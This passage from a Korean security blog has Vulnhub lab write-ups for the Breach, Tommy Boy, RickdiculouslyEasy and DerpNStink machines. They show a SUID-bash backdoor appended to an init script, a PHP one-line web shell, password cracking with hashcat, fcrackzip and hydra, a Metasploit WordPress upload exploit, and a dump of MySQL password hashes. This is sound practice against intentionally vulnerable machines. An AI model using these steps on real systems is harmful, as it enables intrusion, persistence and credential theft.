-rwxrwxrwx 1 root root 231 Jun  5  2016 /etc/init.d/portly.sh

milton@Breach:~$ cat /etc/init.d/portly.sh
#!/bin/bash

iptables -t nat -A PREROUTING -p tcp --match multiport --dport 1:79,81:8442,8444:65535 -j REDIRECT --to-ports 4444 && /usr/local/bin/portspoof -c /usr/local/etc/portspoof.conf -s /usr/local/etc/portspoof_signatures -D

리눅스는 시스템 부팅시 /etc/init.d에 있는 모든 것을 실행합니다

milton@Breach:~$ echo "cp /bin/bash /tmp/rootshell; chmod 4777 /tmp/rootshell;" >> /etc/init.d/portly.sh

milton@Breach:~$ cat /etc/init.d/portly.sh
#!/bin/bash

iptables -t nat -A PREROUTING -p tcp --match multiport --dport 1:79,81:8442,8444:65535 -j REDIRECT --to-ports 4444 && /usr/local/bin/portspoof -c /usr/local/etc/portspoof.conf -s /usr/local/etc/portspoof_signatures -D
cp /bin/bash /tmp/rootshell; chmod 4777 /tmp/rootshell;

한번 재부팅하고 다시 접속해봅니다

rootshell이 root 권한으로 만들어져있습니다

그리고 /bin/bash와 똑같기 때문에 -p를 이용하여 관리자 권한을 획득했습니다

rootshell-4.3# cat .flag.txt
cat .flag.txt
-----------------------------------------------------------------------------------

______                     _     __   _____      _____ _          _____          _ 
| ___ \                   | |   /  | |  _  |    |_   _| |        |  ___|        | |
| |_/ /_ __ ___  __ _  ___| |__ `| | | |/' |______| | | |__   ___| |__ _ __   __| |
| ___ \ '__/ _ \/ _` |/ __| '_ \ | | |  /| |______| | | '_ \ / _ \  __| '_ \ / _` |
| |_/ / | |  __/ (_| | (__| | | || |_\ |_/ /      | | | | | |  __/ |__| | | | (_| |
\____/|_|  \___|\__,_|\___|_| |_\___(_)___/       \_/ |_| |_|\___\____/_| |_|\__,_|


-----------------------------------------------------------------------------------
Congrats on reaching the end and thanks for trying out my first #vulnhub boot2root!

Shout-out to knightmare, and rastamouse for testing and g0tmi1k for hosting.

 

'Vulnhub' 카테고리의 다른 글

[Vulnhub] NullByte Walkthrough  (3) 2024.07.24
[Vulnhub] Breach: 2 Walkthrough  (4) 2024.07.23
[Vulnhub] Tommy Boy Walkthrough  (4) 2024.07.17
[Vulnhub] RickdiculouslyEasy Walkthrough  (1) 2024.07.16
[Vulnhub] DerpNStink Walkthrough  (1) 2024.07.15

https://www.vulnhub.com/entry/tommy-boy-1,157/

 

Tommy Boy: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24                          
Nmap scan report for 192.168.45.124
Host is up (0.00036s latency).
MAC Address: 08:00:27:C0:50:B6 (Oracle VirtualBox virtual NIC)

이번엔 웹 해킹이 위주일 것 같은 느낌입니다

 

HTTP - 80, 8008

우선 80부터 접속해봅니다

시스템에 에러가 났다고 합니다. Nick..

페이지 소스에 주석 표시되어있는 정보 입니다.

<!--Comment from Nick: backup copy is in Big Tom's home folder-->
<!--Comment from Richard: can you give me access too? Big Tom's the only one w/password-->
<!--Comment from Nick: Yeah yeah, my processor can only handle one command at a time-->
<!--Comment from Richard: please, I'll ask nicely-->
<!--Comment from Nick: I will set you up with admin access *if* you tell Tom to stop storing important information in the company blog-->
<!--Comment from Richard: Deal.  Where's the blog again?-->
<!--Comment from Nick: Seriously? You losers are hopeless. We hid it in a folder named after the place you noticed after you and Tom Jr. had your big fight. You know, where you cracked him over the head with a board. It's here if you don't remember: https://www.youtube.com/watch?v=VUxOd4CszJ8--> 
<!--Comment from Richard: Ah! How could I forget?  Thanks-->

 

백업은 톰의 홈디렉터리에 되어있고, 톰이 뭔가 중요한 정보를 회사 블로그에 저장하고 있다네요

그리고 크게 싸웟을때의 장소 이름을 따서 디렉터리를 만들었다는데, 유튜브 링크도 있네요

 

유튜브 동영상에서 확인한 장소입니다.

/prehistoricforest

 

계속 /robots.txt 를 확인해봅니다

다들 디렉터리에 사진이 들어있고, 별다른 특이사항은 없습니다

 

그리고 첫번째 플래그입니다. 5개가 있다고하네요

1/5  - B34rcl4ws

 

 

이번엔 8008포트로 접속해봅니다

일단 8008포트의 웹사이트에서는 별다른 특이사항 없습니다

 

Vulnerability

우선 gobuster 툴을 이용한 디렉터리 브루트포싱과 nikto를 이용한 잠재적 취약점 진단 부터 실시합니다

80

디렉터리 브루트 포싱을 진행했을때 200 응답만 출력한 이유가 워드리스트 파일에서 브루트포싱을 하면 전부다 301 에러가 발생하여 표출됬는데,  nikto에서도 동일한 결과가 나왔습니다. 그래서 직접 접속해보니.

다들 이런식으로 디렉터리가 생성되어있네요

 

그렇다면 이전에 얻었던 단서 /prehistoricforest 경로를 우선 들어가봅니다

오호 wordpress로 구성된 callahan 직원 블로그입니다

 

wpscan을 이용해서 유저 정보 획득 해주고 블로그를 한번 살펴봅니

 

#username
tommy
richard
tom
Tom Jr.
Big Tom
michelle

그리고 아까 블로그에 뭔가 중요한 정보를 많이 입력한다고 했었죠? 그리고 /richard 디렉터리에 있는게 뭔가 기억을 되살려줄거랍니다... 그럼 다운 받아서 확인해봅니다 

 

 

2/5 - Z4l1nsky

 

strings 명령어를 입력해서 보니 수상해 보이는 것이 있죠?

암호화 되어있는거같으니 한번 확인 후에 풀어봅시다 이번엔 hashcat을 이용해봤습니다

 

└─$ hashcat -m 0 -a 0 -O hash.txt /usr/share/wordlists/rockyou.txt

Dictionary cache hit:                                                         
* Filename..: /usr/share/wordlists/rockyou.txt                                                                                                               
* Passwords.: 14344385                                                        
* Bytes.....: 139921507                
* Keyspace..: 14344385                                                        
                                                                              
ce154b5a8e59c89732bc25d6a2e6b90b:spanky                    
                                                                                                                                                             
Session..........: hashcat  
Status...........: Cracked             
Hash.Mode........: 0 (MD5)                                                                                                                                   
Hash.Target......: ce154b5a8e59c89732bc25d6a2e6b90b                                                                                                          
Time.Started.....: Wed Jul 17 17:49:49 2024 (1 sec)                                                                                                          
Time.Estimated...: Wed Jul 17 17:49:50 2024 (0 secs)
Kernel.Feature...: Optimized Kernel                                           
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)                                              
Speed.#1.........:   313.3 kH/s (0.27ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1536/14344385 (0.01%)
Rejected.........: 0/1536 (0.00%)      
Restore.Point....: 1024/14344385 (0.01%)                                      
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: kucing -> mexico1
Hardware.Mon.#1..: Util: 60%
ce154b5a8e59c89732bc25d6a2e6b90b:spanky

Michelle/Tommy,

This is f’d up.

I am currently working to restore the company’s online ordering system, but we are having some problems getting it restored from backup.  Unfortunately, only Big Tom had the passwords to log into the system.  I can’t find his passwords anywhere.  All I can find so far is a note from our IT guy Nick (whose last day was yesterday) saying:

Hey Richy,

So you asked me to do a write-up of everything I know about the Callahan server so the next moron who is hired to support you idiots can get up to speed faster.

Here’s everything I know:

You guys are all hopeless sheep :-/
The Callahan Auto Web site is usually pretty stable.  But if for some reason the page is ever down, you guys will probably go out of business.  But, thanks to *me* there’s a backup called callahanbak.bak that you can just rename to index.html and everything will be good again.
IMPORTANT: You have to do this under Big Tom’s account via SSH to perform this restore.  Warning: Big Tom always forgets his account password.  Warning #2: I screwed up his system account when I created it on the server, so it’s not called what it should be called.  Eh, I can’t remember (don’t care) but just look at the list of users on the system and you’ll figure it out.
I left a few other bits of information in my home folder, which the new guy can access via FTP.  Oh, except I should mention that the FTP server is super flaky and I haven’t had the time (i.e. I don’t give a fat crap) to fix it.  Basically I couldn’t get it running on the standard port, so I put it on a port that most scanners would get exhausted looking for.  And to make matters more fun, the server seems to go online at the top of the hour for 15 minutes, then down for 15 minutes, then up again, then down again.  Now it’s somebody else’s problem (did I mention I don’t give a rat’s behind?).
You asked me to leave you with my account password for the server, and instead of laughing in your face (which is what I WANTED to do), I just reset my account (“nickburns” in case you’re dumb and can’t remember) to a very, VERY easy to guess password.  I removed my SSH access because I *DON’T* want you calling me in case of an emergency.  But my creds still work on FTP.  Your new fresh fish can connect using my credentials and if he/she has half a brain.
Good luck, schmucks!

LOL

-Nick

Michelle/Tommy…WTF are we going to do?!?!  If this site stays down, WE GO OUT OF BUSINESS!!!1!!1!!!!!!!

-Richard

음... 일단 Big Tom 계정으로 SSH를 이용해야한다.

 Nick의 홈디렉터리에는 다른 정보 들이 존재한다.

 callahanbak.bak이라는 백업 파일을 index.html로 바꿔주면 정상적으로 동작이 될 것이다

불안정한 FTP 서버가 있는데, 매시 정각에 15분 사용가능, 15분동안 오프라인 상태이다

그리고 nickburns의 계정은 아주 쉽게 리셋했다...

 

wpscan을 다시 이용해서 비밀번호 브루트포싱 공격을 진행합니다

└─$ wpscan --url http://192.168.45.124/prehistoricforest/ -U wp_user.txt -P /usr/share/wordlists/rockyou.txt

 

Exploitation

tom 유저로 접속을 해봅니다

들어가자마자 Drafts에 있는 password 라는 글이 있습니다

# Credentials 
tom(?):1938!!

tom의 비밀번호는 획득했는데, 이전에 편지에 보면 유저네임이 실제 사용하는 이름과 다르다는 말이 있었습니다

 

그렇다면,, 다른 방법으로는 ftp를 활용하는 방법인데, nmap을 이용해서 포트 스캐닝을 다시 해줍니다

65534 포트인가보네요 

간단한 비밀번호를 사용한다고 했으니, 리스트 하나 작성해봅니다

└─$ cat ftp_pw.txt            
password
pass
password123!
nick
nickburns

이후 hydra를 이용해 비밀번호 스프레잉 공격을 진행합니다

시간이 얼마 없어요!!

 

# Credentials
nickburns:nickburns

 

└─$ ftp 192.168.45.124 65534        
Connected to 192.168.45.124.                                                  
220 Callahan_FTP_Server 1.3.5                                                 
Name (192.168.45.124:kali): nickburns                                                                                                                        
331 Password required for nickburns                                           
Password:                                                                     
230 User nickburns logged in                                                                                                                                 
Remote system type is UNIX.                                                                                                                                  
Using binary mode to transfer files.                                          
ftp> ls                                                                       
229 Entering Extended Passive Mode (|||26591|)              
150 Opening ASCII mode data connection for file list                                                                                                         
-rw-rw-r--   1 nickburns nickburns      977 Jul 15  2016 readme.txt
226 Transfer complete               
ftp> get readme.txt   
local: readme.txt remote: readme.txt                                          
229 Entering Extended Passive Mode (|||43711|)
150 Opening BINARY mode data connection for readme.txt (977 bytes)
100% |****************************************************************************************************************|   977       16.13 KiB/s    00:00 ETA
226 Transfer complete
977 bytes received in 00:00 (15.67 KiB/s)
└─$ cat readme.txt  
To my replacement:

If you're reading this, you have the unfortunate job of taking over IT responsibilities
from me here at Callahan Auto.  HAHAHAHAHAAH! SUCKER!  This is the worst job ever!  You'll be
surrounded by stupid monkeys all day who can barely hit Ctrl+P and wouldn't know a fax machine
from a flame thrower!

Anyway I'm not completely without mercy.  There's a subfolder called "NickIzL33t" on this server
somewhere. I used it as my personal dropbox on the company's dime for years.  Heh. LOL.
I cleaned it out (no naughty pix for you!) but if you need a place to dump stuff that you want
to look at on your phone later, consider that folder my gift to you.

Oh by the way, Big Tom's a moron and always forgets his passwords and so I made an encrypted
.zip of his passwords and put them in the "NickIzL33t" folder as well.  But guess what?
He always forgets THAT password as well.  Luckily I'm a nice guy and left him a hint sheet.

Good luck, schmuck!

LOL.

-Nick

NickIzL33t이라는 디렉터리가 서버 어딘가에 있고, Big Tom이 비밀번호를 항상 까먹어서 encrypted.zip 파일로 압축을 해놓았다고 합니다

여전한데요...

스티브 잡스 얘기를 하는거보니 프록시 도구를 이용해서 User-Agent를 IOS로 변경해서 진행해봅니다

ㅋㅋ킼 html 확장자로 찾아보라는 단서만 발견했습니다

 

그래서 뭔가 찾아야하는데 user-agent를 변경하는 옵션이 있는 ffuf 툴을 이용해봅니다

 

└─$ ffuf -u http://192.168.45.124:8008/NickIzL33t/FUZZ.html -w /usr/share/wordlists/rockyou.txt -H "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like M
ac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3"

...
#1shorty                [Status: 200, Size: 270, Words: 29, Lines: 10, Duration: 7ms]
#1monkey                [Status: 200, Size: 270, Words: 29, Lines: 10, Duration: 0ms]
#1nigga                 [Status: 200, Size: 270, Words: 29, Lines: 10, Duration: 13ms]
#1babygurl              [Status: 200, Size: 270, Words: 29, Lines: 10, Duration: 23ms]
fallon1                 [Status: 200, Size: 459, Words: 56, Lines: 13, Duration: 38ms]
#1balla                 [Status: 200, Size: 270, Words: 29, Lines: 10, Duration: 6ms]
#1mother                [Status: 200, Size: 270, Words: 29, Lines: 10, Duration: 13ms]
#1freak                 [Status: 200, Size: 270, Words: 29, Lines: 10, Duration: 13ms]
#1playa                 [Status: 200, Size: 270, Words: 29, Lines: 10, Duration: 16ms]
....

혼자 다른아이가 하나 있죠?

 

이제 거의 모든 힌트를 다줬네요

 

Big Tom,

Your password vault is protected with (yep, you guessed it) a PASSWORD!  
And because you were choosing stupidiculous passwords like "password123" and "brakepad" I
enforced new password requirements on you...13 characters baby! MUAHAHAHAHAH!!!

Your password is your wife's nickname "bev" (note it's all lowercase) plus the following:

* One uppercase character
* Two numbers
* Two lowercase characters
* One symbol
* The year Tommy Boy came out in theaters

Yeah, fat man, that's a lot of keys to push but make sure you type them altogether in one 
big chunk ok?  Heh, "big chunk."  A big chunk typing big chunks.  That's funny.

LOL

-Nick

3/5 - TinyHead

 

 

압축을 풀기위해서 비밀번호가 있어야하고 그 힌트는 위의 편지에 있습니다

└─$ unzip t0msp4ssw0rdz.zip 
Archive:  t0msp4ssw0rdz.zip
[t0msp4ssw0rdz.zip] passwords.txt password:

 

톰의 아내의 별명인 bev

대문자 1개,

소문자 2개,

숫자 2개,

기호 1개,

그리고 Tommy boy가 출시된 연도가 포함된다고 합니다 -> 1995년 입니다

 

└─$ crunch 13 13 -t bev,%%@@^1995 -o unzip_pw.txt

 

비밀번호 리스트를 만들었고, zip 파일의 비밀번호를 해독하기 위해 fcrackzip 이라는 툴을 사용해보겠습니다

 툴을 사용하고 있을때 다시 한번 지금 하고 있는것에 대한 생각을 해보자면,

 

Big Tom 으로 SSH로 접속을 해야하는데, 비밀번호는 워드프레스에서 획득을 했지만 규칙적인 유저 이름으로 생성하지 않아 블로그와 다른 이름으로 유저가 생성되어 있어서 현재 그 유저네임을 찾고 있습니다

# Credentials 
tom(?):1938!!
└─$ fcrackzip -v -u -D -p unzip_pw.txt ./t0msp4ssw0rdz.zip
found file 'passwords.txt', (size cp/uc    332/   641, flags 9, chk 9aad)
checking pw bevG72kn~1995                           

PASSWORD FOUND!!!!: pw == bevH00tr$1995

└─$ unzip t0msp4ssw0rdz.zip
Archive:  t0msp4ssw0rdz.zip
[t0msp4ssw0rdz.zip] passwords.txt password: 
  inflating: passwords.txt           
                                                                                                                                                             
┌──(kali㉿kali)-[~/vulnhub/tommyboy]
└─$ cat passwords.txt                            
Sandusky Banking Site
------------------------
Username: BigTommyC
Password: money

TheKnot.com (wedding site)
---------------------------
Username: TomC
Password: wedding

Callahan Auto Server
----------------------------
Username: bigtommysenior
Password: fatguyinalittlecoat

Note: after the "fatguyinalittlecoat" part there are some numbers, but I don't remember what they are.
However, I wrote myself a draft on the company blog with that information.

Callahan Company Blog
----------------------------
Username: bigtom(I think?)
Password: ??? 
Note: Whenever I ask Nick what the password is, he starts singing that famous Queen song.

제가 알아야할 것은 Auto Server의 Username 입니다

1938!!과 병합해서 SSH 접속을 해봅니다

bigtommysenior:fatguyinalittlecoat1938!!

 

대상 호스트 초기 침투 완료 

드디어 Big Tom,,장악 완료

 

Post-Exploitation

bigtommysenior@CallahanAutoSrv01:~$ cat el-flag-numero-quatro.txt 
YAY!  Flag 4 out of 5!!!! And you should now be able to restore the Callhan Web server to normal
working status.

Flag data: EditButton

But...but...where's flag 5?  

I'll make it easy on you.  It's in the root of this server at /5.txt

4/5 - EditButton

 

5번째 플래그는 /5.txt 랍니다

일단 이전에 백업파일을 /var/www/html/index.html로 변경하면 정상적으로 웹사이트가 운영된다고 했는데요 한번 해보겠습니다

bigtommysenior@CallahanAutoSrv01:~$ ls
callahanbak.bak  el-flag-numero-quatro.txt  LOOT.ZIP
bigtommysenior@CallahanAutoSrv01:~$ ls -al /var/www/html/index.html
-rw-r--r-- 1 bigtommysenior bigtommysenior 1176 Jul  8  2016 /var/www/html/index.html
bigtommysenior@CallahanAutoSrv01:~$ cp callahanbak.bak /var/www/html/index.html

웹 사이트는 정상적으로 돌아왔는데,,음,, 뭔가 대상호스트에서 사용할만한 파일이나 디렉터리나 무언가를 찾아야겠네요

bigtommysenior@CallahanAutoSrv01:~$ find / -perm -222 -type d 2> /dev/null
/var/lib/php/sessions
/var/crash
/var/thatsg0nnaleaveamark/NickIzL33t/P4TCH_4D4MS/uploads
/var/tmp
/dev/mqueue
/dev/shm
/run/lock
/tmp
/tmp/.XIM-unix
/tmp/.Test-unix
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/.X11-unix

제가 사용할 수 있는 디렉터리이니,, php로 원라이너 쉘을 하나 만들어 줍니다

bigtommysenior@CallahanAutoSrv01:/var/thatsg0nnaleaveamark/NickIzL33t/P4TCH_4D4MS/uploads$ echo '<?php system($_GET['c']); ?>' > one.php

 

사용할 수 있는 디렉터리를 찾으므로써 Remote Code Execution 까지 가능케 했습니다

 

5/5 - Buttcrack

 

플래그 5개를 모두 합쳐서,,, 마지막 남은 파일을 열어봐야겠습니다

B34rcl4wsZ4l1nskyTinyHeadEditButtonButtcrack

네...정말 머리가 아프네요,,,ㅋㅋㅋ

'Vulnhub' 카테고리의 다른 글

[Vulnhub] Breach: 2 Walkthrough  (4) 2024.07.23
[Vulnhub] Brearch Walkthrough  (6) 2024.07.22
[Vulnhub] RickdiculouslyEasy Walkthrough  (1) 2024.07.16
[Vulnhub] DerpNStink Walkthrough  (1) 2024.07.15
[Vulnhub] EVM Walkthrough  (0) 2024.07.12

https://www.vulnhub.com/entry/rickdiculouslyeasy-1,207/

 

RickdiculouslyEasy: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24 
Nmap scan report for 192.168.45.162
Host is up (0.00033s latency).
MAC Address: 08:00:27:7C:D7:E8 (Oracle VirtualBox virtual NIC)

굉장히 독특한 결과의 포트스캐닝입니다

아 그리고 플래그도 중간에 껴있네요!!

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port22-TCP:V=7.94SVN%I=7%D=7/16%Time=66962895%P=x86_64-pc-linux-gnu%r(N
SF:ULL,42,"Welcome\x20to\x20Ubuntu\x2014\.04\.5\x20LTS\x20\(GNU/Linux\x204
SF:\.4\.0-31-generic\x20x86_64\)\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port13337-TCP:V=7.94SVN%I=7%D=7/16%Time=66962895%P=x86_64-pc-linux-gnu%
SF:r(NULL,29,"FLAG:{TheyFoundMyBackDoorMorty}-10Points\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port60000-TCP:V=7.94SVN%I=7%D=7/16%Time=6696289B%P=x86_64-pc-linux-gnu%
SF:r(NULL,2F,"Welcome\x20to\x20Ricks\x20half\x20baked\x20reverse\x20shell\
SF:.\.\.\n#\x20")%r(ibm-db2,2F,"Welcome\x20to\x20Ricks\x20half\x20baked\x2
SF:0reverse\x20shell\.\.\.\n#\x20");

그리고 뭔가,, 수상한 포트와 거기에 서비스가 돌아가고 있는거 같죠??

참 이 ctf에서는 130포인트를 획득 할 수 있는 플래그들이 있다고 합니다

 

그리고 nc 명령어를 이용해서 접근하면 뭔가 되려나요~~

 

관리자 권한을 가진 리버스쉘도 있네요 다른 작업은 할 수 없으나, 플래그는 획득했습니다.

20/130

FTP

anonymous login allowed

 

그냥 플래그만 있네요

└─$ cat FLAG.txt                                                 
FLAG{Whoa this is unexpected} - 10 Points

30/130

 

 

이후 별다른 특이사항 없음

 

SSH

22번 포트로는 접속이 불가능하고 열려있는 또다른 SSH 22222번 포트를 활용해서 대상 호스트에 접근이 가능합니다

 

Vulnerability

HTTP(80, 9090)

TRACE methods

 

gobuster 툴을 이용해 디렉터리 브루트포싱을 진행합니다

/robotst.txt

They're Robots Morty! It's ok to shoot them! They're just Robots!

/cgi-bin/root_shell.cgi
/cgi-bin/tracertool.cgi
/cgi-bin/*

Remote Code Execution이 가능할 듯한 느낌입니다.

 

Exploitation

 

가능하네요

/etc/passwd 파일을 확인하니 고양이가 나옵니다 cat을 사용해서 고양이가 나오나보네요 그럼 more로 갑니다

40/130

 

Username: RickSanchez,Morty,Summer
Password: winter

 

9090포트로 접근해봅니다

50/130

 

얻은 비밀번호를 넣어보려고 했는데 username 에서 안넘어가져서 활용할 수 있는 ftp로 접근해볼까요?

 

# Credentials

Summer:winter

 

└─$ cat FLAG.txt 
FLAG{Get off the high road Summer!} - 10 Points

60/130

 

SSH 접근도 해봅니다

 

Post-Exploitation

이놈의 고양이,,,, 이 플래그는 ftp에서 발견한 플래그죠??

 

[Summer@localhost home]$ ls
Morty  RickSanchez  Summer
[Summer@localhost home]$ cd Morty/
[Summer@localhost Morty]$ ls
journal.txt.zip  Safe_Password.jpg
[Summer@localhost Morty]$ cp * ~
[Summer@localhost Morty]$ ls -al ~
total 68
drwx------. 2 Summer Summer   147 Jul 16 18:49 .
drwxr-xr-x. 5 root   root      52 Aug 18  2017 ..
-rw-------. 1 Summer Summer     1 Sep 15  2017 .bash_history
-rw-r--r--. 1 Summer Summer    18 May 30  2017 .bash_logout
-rw-r--r--. 1 Summer Summer   193 May 30  2017 .bash_profile
-rw-r--r--. 1 Summer Summer   231 May 30  2017 .bashrc
-rw-rw-r--. 1 Summer Summer    48 Aug 22  2017 FLAG.txt
-rw-r--r--. 1 Summer Summer   414 Jul 16 18:49 journal.txt.zip
-rw-r--r--. 1 Summer Summer 43145 Jul 16 18:49 Safe_Password.jpg

[Summer@localhost RickSanchez]$ cp -r * ~
[Summer@localhost RickSanchez]$ ls -al ~
total 68
drwx------. 4 Summer Summer   198 Jul 16 18:50 .
drwxr-xr-x. 5 root   root      52 Aug 18  2017 ..
-rw-------. 1 Summer Summer     1 Sep 15  2017 .bash_history
-rw-r--r--. 1 Summer Summer    18 May 30  2017 .bash_logout
-rw-r--r--. 1 Summer Summer   193 May 30  2017 .bash_profile
-rw-r--r--. 1 Summer Summer   231 May 30  2017 .bashrc
-rw-rw-r--. 1 Summer Summer    48 Aug 22  2017 FLAG.txt
-rw-r--r--. 1 Summer Summer   414 Jul 16 18:49 journal.txt.zip
drwxr-xr-x. 2 Summer Summer    18 Jul 16 18:50 RICKS_SAFE
-rw-r--r--. 1 Summer Summer 43145 Jul 16 18:49 Safe_Password.jpg
drwxrwxr-x. 2 Summer Summer    26 Jul 16 18:50 ThisDoesntContainAnyFlags

[Summer@localhost RICKS_SAFE]$ ls
safe
[Summer@localhost RICKS_SAFE]$ file safe 
safe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6788eee358d9e51e369472b52e684b7d6da7f1ce, not stripped

[Summer@localhost ThisDoesntContainAnyFlags]$ more NotAFlag.txt 
hhHHAaaaAAGgGAh. You totally fell for it... Classiiiigihhic.
But seriously this isn't a flag..

# Web Server Open
[Summer@localhost ~]$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...

 

일단 활용할 수 있는 모든 파일을 가져왔습니다

 

└─$ unzip journal.txt.zip 
Archive:  journal.txt.zip
[journal.txt.zip] journal.txt password:

winter는 실패했습니다

└─$ strings Safe_Password.jpg       
JFIF  
Exif                                                                          
8 The Safe Password: File: /home/Morty/journal.txt.zip. Password: Meeseek     
8BIM                            
8BIM      
$3br    
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
        #3R                                                                   
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz


journal.txt: Meeseek

 

└─$ cat journal.txt    
Monday: So today Rick told me huge secret. He had finished his flask and was on to commercial grade paint solvent. He spluttered something about a safe, and a password. Or maybe it was a safe password... Was a password that was safe? Or a password to a safe? Or a safe password to a safe?

Anyway. Here it is:

FLAG: {131333} - 20 Points

80/130

└─$ chmod +x safe 
└─$ ./safe 
Past Rick to present Rick, tell future Rick to use GOD DAMN COMMAND LINE AAAAAHHAHAGGGGRRGUMENTS!

커맨드 라인을 사용해라...

strings으로도 확인해보니 decrypt 해주는 프로그램인거같아 131333을 넣으니 플래그와 릭의 비밀번호 힌트 획득

100/130

 

근데 무슨,,,,,릭의 오래된 밴드 이름..?

구글링을 하니 Flesh Curtains 이것을 대문자 하나, 숫자 하나로 변환해야한다

 

crunch 툴을 이용하여 대문자 하나, 숫자 하나를 넣은 무작위 단어를 만든 후에 무작위 생성된 두 단어를 합쳐 hydra를 이용해 비밀번호 스프레잉 공격을 진행해보겠습니다

└─$ crunch 7 7 -t ,%Flesh -o ./flesh.txt
Crunch will now generate the following amount of data: 2080 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 260 

crunch: 100% completed generating output
                                                                                                                                                             
┌──(kali㉿kali)-[~/vulnhub/rick]
└─$ crunch 10 10 -t ,%Curtains -o ./curtains.txt                   
Crunch will now generate the following amount of data: 2860 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 260 

crunch: 100% completed generating output

┌──(kali㉿kali)-[~/vulnhub/rick]
└─$ cat flesh.txt > passwd.txt
                                                                                                                                                             
┌──(kali㉿kali)-[~/vulnhub/rick]
└─$ cat curtains.txt >> passwd.txt

 

비밀번호 스프레잉 공격 진행합니다

└─$ hydra -l RickSanchez -P ./passwd.txt ssh://192.168.45.162 -s 22222

RickSanchez:P7Curtains

RickSanchez 유저 장악 완료

 

Privilege Escalation

생각해보니 sudo로 모든 것이 가능한 wheel 유저군요

관리자 권한 까지 획득 완료했습니다.

 

관리자 권한에 가장 가까운 유저는 Rick 이었네요!!

[root@localhost ~]# more FLAG.txt 
FLAG: {Ionic Defibrillator} - 30 points

 

130/130

모든 플래그 획득 완료했고, 관리자 권한까지 획득하여, 대상 호스트를 장악 완료했습니다.

 

 

'Vulnhub' 카테고리의 다른 글

[Vulnhub] Brearch Walkthrough  (6) 2024.07.22
[Vulnhub] Tommy Boy Walkthrough  (4) 2024.07.17
[Vulnhub] DerpNStink Walkthrough  (1) 2024.07.15
[Vulnhub] EVM Walkthrough  (0) 2024.07.12
[Vulnhub] djinn Walkthrough  (0) 2024.07.11

https://www.vulnhub.com/entry/derpnstink-1,221/

 

DerpNStink: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

Information Gathering

└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/targetSubScan
Nmap scan report for 192.168.45.206
Host is up (0.00027s latency).
MAC Address: 08:00:27:11:4D:A8 (Oracle VirtualBox virtual NIC)

 

 

FTP

Null Session and anonymous session failed

 

 

HTTP

robots.txt 가 존재합니다.

허용되지 않는 디렉터리 경로는 /php, /temporary 라고 하네요

페이지 소스에 /webnotes 경로 노출

gobuster, drib, nikto 툴을 사용해서 잠재적 취약점 진단

nikto
gobuster
drib

 

/weblog 디렉터리에 wordpress, /php 밑에 phpmyadmin 관리자 패널이 있네요

하나씩 접속해봅니다

default credentials failed

 

 

페이지 소스에서 찾았던 /webnotes 

쉘에서 있었던 것을 그대로 복사해서 붙여 넣은 듯하다

/etc/hosts 파일을 업데이트 해줍니다

 

기본 페이지에서 프록시를 하니 첫번째 flag 값을 준다

# first flag
flag1(zzZZzZ)

 

/weblog -> wordpress

 

Vulnerability

wpsan을 이용한 취약점 진단 실시

└─$ wpscan --url http://derpnstink.local/weblog/ --enumerate | tee ./recon/wpscan_res

admin 유저만 존재하는 것을 확인

 

보통 로그인할때 default credential 이나 이런것을 검색해서 한번씩 해보는데 이번에는 admin:admin 을 시도해서 로그인을 성공했다.

 

slideshow 라는 플러그인이 있나봅니다 wpscan에서 옵션을 변경해 다시 검색해보겠습니다

└─$ wpscan --url http://derpnstink.local/weblog/ --enumerate ap, vp

slideshow-gallery는 버전이 1.4.6 인거같습니다

searchsploit 툴을 이용해 익스플로잇 할 수 있는 취약점을 찾아봅니다

CVE-2014-5460 코드를 가지고 있는 공개 취약점입니다.

 

 

Exploitation

metasploit 툴을 이용해 익스플로잇을 실시합니다

msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > set rhosts 192.168.45.206
rhosts => 192.168.45.206         
msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > set targeturi /weblog
targeturi => /weblog
msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_password admin
wp_password => admin                                                          
msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_user admin
wp_user => admin                                                              
msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > set lhost 192.168.45.219
lhost => 192.168.45.219

대상 호스트 초기 침투에 성공했습니다

 

 

Post-Exploitation

/etc/passwd

wp-config.php

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| phpmyadmin         |
| wordpress          |
+--------------------+
5 rows in set (0.00 sec)
mysql> use mysql;
mysql> show tables;                                                                                                                                          
mysql> select User,Password from user;
select User,Password from user;
